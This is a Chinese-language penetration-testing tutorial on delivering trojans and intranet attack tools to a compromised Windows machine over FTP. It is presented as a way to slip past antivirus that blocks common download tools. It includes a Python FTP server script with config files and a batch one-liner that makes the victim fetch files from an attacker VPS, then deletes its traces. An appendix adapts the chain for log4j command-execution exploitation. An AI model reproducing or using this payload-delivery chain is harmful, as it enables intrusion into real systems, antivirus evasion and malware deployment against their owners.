|
01前言
当取得目标系统命令执行权限时,往往需要上传木马及一些内网渗透工具,这时候windows可以使用powershell、certutil、bitsadmin等方式,linux大多使用curl以及wget方式。对于windows而言,常见的几种方法基本都会被杀软拦截,本文旨在于提供一种相对来说不常被拦截的载荷投递方式:FTP投递。
作者:网络安全情报攻防站-嘉宾千载
02工具准备
FTP服务器
这里FTP服务器有许多种搭建方法,这里提供一种python开启FTP的脚本
需要准备的代码及配置文件
1、ftp_server.py
- import requests
- import re
- import configparser
- from pyftpdlib.authorizers import DummyAuthorizer
- from pyftpdlib.handlers import FTPHandler, ThrottledDTPHandler
- from pyftpdlib.servers import FTPServer
- from setting import ENABLE_ANONYMOUS, ANONYMOUS_PATH, MAX_DOWNLOAD, MAX_UPLOAD, PASSIVE_PORTS, WELCOME_MSG, IP, \
- PORT, MAX_CONS, MAX_PER_IP
- def get_myip():
- r = requests.get("http://myip.ipip.net", headers={"User-Agent": "curl/7.29.0"})
- ip = re.search(r"(([01]{0,1}\d{0,1}\d|2[0-4]\d|25[0-5]\d)\.){3}([01]{0,1}\d{0,1}\d|2[0-4]\d|25[0-5]\d)",r.text).group()
- return ip
- # 新建一个用户组
- authorizer = DummyAuthorizer()
- # 从文件读取用户账号密码权限配置
- config = configparser.ConfigParser()
- config.read('user.ini')
- user_list = config.sections()
- for user in user_list:
- passwd = config[user]["password"]
- perm = config[user]["perm"]
- home_dir = config[user]["home"]
- # 将用户名,密码,指定目录,权限 添加到里面
- authorizer.add_user(user, passwd, homedir=home_dir, perm=perm)
- # 添加匿名用户 只需要路径
- if ENABLE_ANONYMOUS == 'on':
- authorizer.add_anonymous(ANONYMOUS_PATH)
- # 下载上传速度设置
- dtp_handler = ThrottledDTPHandler
- dtp_handler.read_limit = MAX_DOWNLOAD
- dtp_handler.write_limit = MAX_UPLOAD
- # 初始化ftp句柄
- handler = FTPHandler
- handler.authorizer = authorizer
- handler.masquerade_address = get_myip()
- # 添加被动端口范围
- handler.passive_ports = range(PASSIVE_PORTS[0], PASSIVE_PORTS[1])
- # 欢迎信息
- handler.banner = WELCOME_MSG
- # 监听ip 和 端口
- server = FTPServer((IP, PORT), handler)
- # 最大连接数
- server.max_cons = MAX_CONS
- server.max_cons_per_ip = MAX_PER_IP
- # 开始服务
- print('FTP开始服务 ', (IP, PORT))
- server.serve_forever()
复制代码
2、 setting.py
- IP = '0.0.0.0'
- PORT = '21'
- # 上传速度 100kb/s
- MAX_UPLOAD = 100 * 1024
- # 下载速度 100kb/s
- MAX_DOWNLOAD = 100 * 1024
- # 最大连接数
- MAX_CONS = 100
- # 最多IP数
- MAX_PER_IP = 10
- # 被动端口范围,注意被动端口数量要比最大IP数多,否则可能出现无法连接的情况
- PASSIVE_PORTS = (8300, 8500)
- # 是否开启匿名访问 on|off
- ENABLE_ANONYMOUS = 'on'
- # 匿名用户目录
- ANONYMOUS_PATH = 'D:\\sectools\\anonymous'
- # 日志文件
- LOGING_NAME = 'pyftp.log'
- # 欢迎信息
- WELCOME_MSG = 'Welcome to my ftp'
复制代码
3、user.ini
解读:中括号中为用户名,home为该用户的目录,创建多个用户则按下面格式多复制几遍修改一下。例子为创建user1和user2 2个用户,目录分别为user1和user2
- [user1]
- password=123
- perm=elradfmwM
- home=D:\\user1
- [user2]
- password=123456
- perm=elradfmwM
- home=D:\\user2
复制代码
在启用脚本前需要根据自己的情况修改配置文件,创建用户目录(别忘了创建匿名用户目录,在setting.py中写上对应的目录名字)
FTP服务器搭建
1、根据实际情况修改脚本配置文件,上传ftp_server.py、setting.py、user.ini到VPS:
2、 根据配置文件创建用户目录:
3、启动ftp脚本:
python3 ftp_server.py
编辑
此时FTP服务器已经搭建成功。
03载荷投递
1、将需要投递的恶意文件放置在对应用户的目录下:
编辑
2、 在拥有命令执行的机器上执行以下命令:
echo open vps-ip > o&echo user anonymous >> o& echo asc >>o&echo prompt >>o&echo mget test.txt >> o &echo quit >> o &ftp -n -s &del /F /Q o
当条件不允许时,也可以逐一执行:
- echo open vps-ip > o
- echo user anonymous >> o
- echo asc >>o
- echo prompt >>o
- echo mget test.txt >> o
- echo quit >> o
- ftp -n -s:o
- del /F /Q o
复制代码
编辑
VPS上也会有相应记录:
04附录
当使用log4j反序列化漏洞进行命令执行时,一条命令可能会执行多遍,会影响我们写入ftp配置,这时可以将">>"换为">",每次写入不同的文件,最后用copy命令进行合并即可,具体操作代码如下:
- echo open vps-ip > aa1
- echo user anonymous > aa2
- echo asc > aa3
- echo prompt > aa4
- echo mget test.txt > aa5
- echo quit > aa6
- copy /b aa* cc
- ftp -n -s:cc
- del /F /Q cc
复制代码
编辑
|
|